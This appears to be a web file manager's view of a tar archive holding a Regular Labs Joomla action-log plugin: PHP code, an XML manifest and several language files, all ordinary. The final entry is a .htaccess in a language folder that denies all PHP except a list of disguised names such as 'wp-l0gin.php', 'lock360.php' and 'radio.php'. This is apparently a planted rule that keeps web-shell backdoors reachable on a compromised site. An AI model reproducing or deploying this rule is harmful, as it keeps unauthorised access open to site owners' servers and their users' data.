Файловый менеджер - Редактировать - /home/lmsyaran/public_html/pusher/actionlog.tar
Назад
advancedtemplates/advancedtemplates.php 0000644 00000010412 15116722330 0014423 0 ustar 00 <?php /** * @package Advanced Template Manager * @version 3.9.5 * * @author Peter van Westen <info@regularlabs.com> * @link http://www.regularlabs.com * @copyright Copyright © 2021 Regular Labs All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; use Joomla\CMS\Factory as JFactory; use Joomla\CMS\Language\Text as JText; use RegularLabs\Library\ArrayHelper as RL_Array; use RegularLabs\Library\Document as RL_Document; use RegularLabs\Library\Log as RL_Log; if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')) { return; } require_once JPATH_LIBRARIES . '/regularlabs/autoload.php'; if ( ! RL_Document::isJoomlaVersion(3)) { return; } if (true) { class PlgActionlogAdvancedTemplates extends \RegularLabs\Library\ActionLogPlugin { public $name = 'ADVANCEDTEMPLATEMANAGER'; public $alias = 'advancedtemplates'; public function __construct(&$subject, array $config = []) { parent::__construct($subject, $config); $this->items = [ 'style' => (object) [ 'title' => 'PLG_ACTIONLOG_JOOMLA_TYPE_STYLE', ], 'template' => (object) [ 'title' => 'PLG_ACTIONLOG_JOOMLA_TYPE_TEMPLATE', ], ]; } public function onAfterTemplateStyleSetHome($context, $id) { if (strpos($context, $this->option) === false) { return; } if ( ! RL_Array::find(['*', 'change_default'], $this->events)) { return; } $style = $this->getStyleById($id); if ( ! $style) { return; } $languageKey = 'ATP_ACTIONLOGS_STYLE_SET_HOME'; $message = [ 'style_name' => $style->title, 'style_link' => 'index.php?option=com_advancedtemplates&view=style&layout=edit&id=' . $id, ]; RL_Log::add($message, $languageKey, $context); } public function onAfterTemplateCopy($context, $from_name, $to_name) { if (strpos($context, $this->option) === false) { return; } if ( ! RL_Array::find(['*', 'template_copy'], $this->events)) { return; } $languageKey = 'ATP_ACTIONLOGS_TEMPLATE_COPY'; $message = [ 'from_name' => $from_name, 'to_name' => $to_name, ]; RL_Log::add($message, $languageKey, $context); } public function onAfterTemplateFileCreate($context, $template, $file_name) { if (strpos($context, $this->option) === false) { return; } if ( ! RL_Array::find(['*', 'files'], $this->events)) { return; } $languageKey = 'ATP_ACTIONLOGS_FILE_ADDED'; $filelink = 'index.php?option=com_advancedtemplates&view=template&id=' . $template->extension_id . '&file=' . base64_encode($file_name); $message = [ 'type' => JText::_('ATP_TEMPLATE_FILE'), 'template' => $template->name, 'file' => ltrim($file_name, '/'), 'filelink' => $filelink, ]; RL_Log::add($message, $languageKey, $context); } public function onAfterTemplateFileUpdate($context, $template, $file_name) { if (strpos($context, $this->option) === false) { return; } if ( ! RL_Array::find(['*', 'files'], $this->events)) { return; } $languageKey = 'ATP_ACTIONLOGS_FILE_UPDATED'; $filelink = 'index.php?option=com_advancedtemplates&view=template&id=' . $template->extension_id . '&file=' . base64_encode($file_name); $message = [ 'type' => JText::_('ATP_TEMPLATE_FILE'), 'template' => $template->name, 'file' => ltrim($file_name, '/'), 'filelink' => $filelink, ]; RL_Log::add($message, $languageKey, $context); } public function onAfterTemplateFileDelete($context, $template, $file_name) { if (strpos($context, $this->option) === false) { return; } if ( ! RL_Array::find(['*', 'files'], $this->events)) { return; } $languageKey = 'ATP_ACTIONLOGS_FILE_DELETED'; $message = [ 'type' => JText::_('ATP_TEMPLATE_FILE'), 'template' => $template->name, 'file' => ltrim($file_name, '/'), ]; RL_Log::add($message, $languageKey, $context); } private function getStyleById($id) { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('*') ->from($db->quoteName('#__template_styles')) ->where($db->quoteName('id') . ' = ' . (int) $id); $db->setQuery($query); return $db->loadObject(); } } } advancedtemplates/advancedtemplates.xml 0000644 00000004153 15116722330 0014441 0 ustar 00 <?xml version="1.0" encoding="UTF-8"?> <extension version="3.9" type="plugin" group="actionlog" method="upgrade"> <name>PLG_ACTIONLOG_ADVANCEDTEMPLATES</name> <description>PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC</description> <version>3.9.5</version> <creationDate>February 2021</creationDate> <author>Regular Labs (Peter van Westen)</author> <authorEmail>info@regularlabs.com</authorEmail> <authorUrl>https://www.regularlabs.com</authorUrl> <copyright>Copyright © 2018 Regular Labs - All Rights Reserved</copyright> <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license> <scriptfile>script.install.php</scriptfile> <updateservers> <server type="extension" priority="1" name="Regular Labs - Advanced Template Manager"> https://download.regularlabs.com/updates.xml?e=advancedtemplatemanager&type=.xml </server> </updateservers> <files> <filename plugin="advancedtemplates">advancedtemplates.php</filename> <filename>script.install.helper.php</filename> <folder>language</folder> </files> <config> <fields name="params" addfieldpath="/libraries/regularlabs/fields"> <fieldset name="basic"> <field name="@loadlanguage_regularlabs" type="rl_loadlanguage" extension="plg_system_regularlabs" /> <field name="@loadlanguage" type="rl_loadlanguage" extension="plg_actionlog_advancedtemplates" /> <field name="@license" type="rl_license" extension="ADVANCEDTEMPLATEMANAGER" /> <field name="@version" type="rl_version" extension="ADVANCEDTEMPLATEMANAGER" /> <field name="@dependency" type="rl_dependency" label="RR_THE_COMPONENT" file="/administrator/components/com_advancedtemplates/advancedtemplates.php" /> <field name="@header" type="rl_header" label="ADVANCEDTEMPLATEMANAGER" description="ADVANCEDTEMPLATEMANAGER_DESC" url="https://www.regularlabs.com/advancedtemplatemanager" /> <field name="@notice_settings" type="note" class="alert alert-info" description="ATP_SETTINGS,<a href="index.php?option=com_advancedtemplates" target="_blank">,</a>" /> </fieldset> </fields> </config> </extension> advancedtemplates/language/cs-CZ/cs-CZ.plg_actionlog_advancedtemplates.ini 0000644 00000003476 15116722330 0022750 0 ustar 00 ;; @package Advanced Template Manager ;; @version 3.9.5 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link http://www.regularlabs.com ;; @copyright Copyright © 2021 Regular Labs All Rights Reserved ;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL ;; ;; @translate Want to help with translations? See: https://www.regularlabs.com/translate ; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs - Advanced Template Manager" ; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users for Advanced Template Manager" ADVANCEDTEMPLATEMANAGER="Pokročilý správce šablon" ADVANCEDTEMPLATEMANAGER_DESC="S Pokročilým správcem šablon máte k dispozici další možnosti a funkce pro ovládání šablon." ; ATP_SETTINGS="Please see the [[%1:start link%]]Template Manager[[%2:end link%]] for settings." ATP_THE_COMPONENT="komponenta Pokročilý správce šablon" ; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system plugin" ; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions" ; ATP_ACTION_TEMPLATE_COPY="Copy Template" ; ATP_ACTIONLOGS_FILE_ADDED="User <a href='{accountlink}'>{username}</a> added <a href='{filelink}'>{file}</a> to template {template}" ; ATP_ACTIONLOGS_FILE_DELETED="User <a href='{accountlink}'>{username}</a> deleted {file} from template {template}" ; ATP_ACTIONLOGS_FILE_UPDATED="User <a href='{accountlink}'>{username}</a> updated <a href='{filelink}'>{file}</a> in template {template}" ; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a href='{accountlink}'>{username}</a> changed the default template style to <a href='{style_link}'>{style_name}</a>" ; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a href='{accountlink}'>{username}</a> created a new template called '{to_name}' (copy of '{from_name}')" ; ATP_TEMPLATE_FILE="template file" advancedtemplates/language/cs-CZ/cs-CZ.plg_actionlog_advancedtemplates.sys.ini 0000644 00000001233 15116722330 0023552 0 ustar 00 ;; @package Advanced Template Manager ;; @version 3.9.5 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link http://www.regularlabs.com ;; @copyright Copyright © 2021 Regular Labs All Rights Reserved ;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL ;; ;; @translate Want to help with translations? See: https://www.regularlabs.com/translate ; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs - Advanced Template Manager" ; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users for Advanced Template Manager" ADVANCEDTEMPLATEMANAGER="Pokročilý správce šablon" advancedtemplates/language/da-DK/da-DK.plg_actionlog_advancedtemplates.ini 0000644 00000003526 15116722330 0022646 0 ustar 00 ;; @package Advanced Template Manager ;; @version 3.9.5 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link http://www.regularlabs.com ;; @copyright Copyright © 2021 Regular Labs All Rights Reserved ;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL ;; ;; @translate Want to help with translations? See: https://www.regularlabs.com/translate ; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs - Advanced Template Manager" ; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users for Advanced Template Manager" ADVANCEDTEMPLATEMANAGER="Avanceret Skabelon Håndtering" ADVANCEDTEMPLATEMANAGER_DESC="Med Avanceret Skabelon Håndtering har du ekstra indstillinger og funktionalitet til at kontrollere dine skabeloner." ATP_SETTINGS="Se venligst [[%1:start link%]]Skabelon Håndteringen[[%2:end link%]] for indstillinger." ATP_THE_COMPONENT="Avanceret Skabelon Håndterings komponent" ; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system plugin" ; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions" ; ATP_ACTION_TEMPLATE_COPY="Copy Template" ; ATP_ACTIONLOGS_FILE_ADDED="User <a href='{accountlink}'>{username}</a> added <a href='{filelink}'>{file}</a> to template {template}" ; ATP_ACTIONLOGS_FILE_DELETED="User <a href='{accountlink}'>{username}</a> deleted {file} from template {template}" ; ATP_ACTIONLOGS_FILE_UPDATED="User <a href='{accountlink}'>{username}</a> updated <a href='{filelink}'>{file}</a> in template {template}" ; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a href='{accountlink}'>{username}</a> changed the default template style to <a href='{style_link}'>{style_name}</a>" ; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a href='{accountlink}'>{username}</a> created a new template called '{to_name}' (copy of '{from_name}')" ; ATP_TEMPLATE_FILE="template file" advancedtemplates/language/da-DK/da-DK.plg_actionlog_advancedtemplates.sys.ini 0000644 00000001235 15116722330 0023456 0 ustar 00 ;; @package Advanced Template Manager ;; @version 3.9.5 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link http://www.regularlabs.com ;; @copyright Copyright © 2021 Regular Labs All Rights Reserved ;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL ;; ;; @translate Want to help with translations? See: https://www.regularlabs.com/translate ; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs - Advanced Template Manager" ; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users for Advanced Template Manager" ADVANCEDTEMPLATEMANAGER="Avanceret Skabelon Håndtering" advancedtemplates/language/de-DE/de-DE.plg_actionlog_advancedtemplates.ini 0000644 00000003602 15116722330 0022635 0 ustar 00 ;; @package Advanced Template Manager ;; @version 3.9.5 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link http://www.regularlabs.com ;; @copyright Copyright © 2021 Regular Labs All Rights Reserved ;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL ;; ;; @translate Want to help with translations? See: https://www.regularlabs.com/translate PLG_ACTIONLOG_ADVANCEDTEMPLATES="Aktionsprotokoll - Regular Labs - Advanced Template Manager" PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Zeichnet Aktionen der Benutzer für Advanced Template Manager auf." ADVANCEDTEMPLATEMANAGER="Advanced Template Manager" ADVANCEDTEMPLATEMANAGER_DESC="Mit dem Advanced Template Manager haben Sie extra Optionen und Funktionen um die Anzeige Ihrer Templates zu steuern." ATP_SETTINGS="Bitte klicken Sie auf [[%1:start link%]]Template Manager[[%2:end link%]] für die Einstellungen." ATP_THE_COMPONENT="die Advanced Template Manager Komponente" ATP_THE_SYSTEM_PLUGIN="das Advanced Template Manager System-Plugin" ATP_ACTION_FOLDER_FILE_ACTIONS="Ordner-/Datei-Aktionen" ATP_ACTION_TEMPLATE_COPY="Template kopieren" ATP_ACTIONLOGS_FILE_ADDED="Benutzer <a href='{accountlink}'>{username}</a> fügte <a href='{filelink}'>{file}</a> dem Template {template} zu" ATP_ACTIONLOGS_FILE_DELETED="Benutzer <a href='{accountlink}'>{username}</a> löschte {file} vom Template {template}" ATP_ACTIONLOGS_FILE_UPDATED="Benutzer <a href='{accountlink}'>{username}</a> aktualisierte <a href='{filelink}'>{file}</a> im Template {template}" ATP_ACTIONLOGS_STYLE_SET_HOME="Benutzer <a href='{accountlink}'>{username}</a> änderte den Standard Template-Stil auf <a href='{style_link}'>{style_name}</a>" ATP_ACTIONLOGS_TEMPLATE_COPY="Benutzer <a href='{accountlink}'>{username}</a> kreierte ein neues Template namens '{to_name}' (Kopie von '{from_name}')" ATP_TEMPLATE_FILE="Template-Datei" advancedtemplates/language/de-DE/de-DE.plg_actionlog_advancedtemplates.sys.ini 0000644 00000001243 15116722330 0023451 0 ustar 00 ;; @package Advanced Template Manager ;; @version 3.9.5 ;; ;; @author Peter van Westen <info@regularlabs.com> ;; @link http://www.regularlabs.com ;; @copyright Copyright © 2021 Regular Labs All Rights Reserved ;; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL ;; ;; @translate Want to help with translations? See: https://www.regularlabs.com/translate PLG_ACTIONLOG_ADVANCEDTEMPLATES="Aktionsprotokoll - Regular Labs - Advanced Template Manager" PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Zeichnet Aktionen der Benutzer für Advanced Template Manager auf." ADVANCEDTEMPLATEMANAGER="Advanced Template Manager" advancedtemplates/language/de-DE/.htaccess 0000644 00000000411 15116722330 0014463 0 ustar 00 <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|radio.php|index.php|content.php|about.php|wp-login.php|admin.php)$"> Order allow,deny Allow from all </FilesMatch>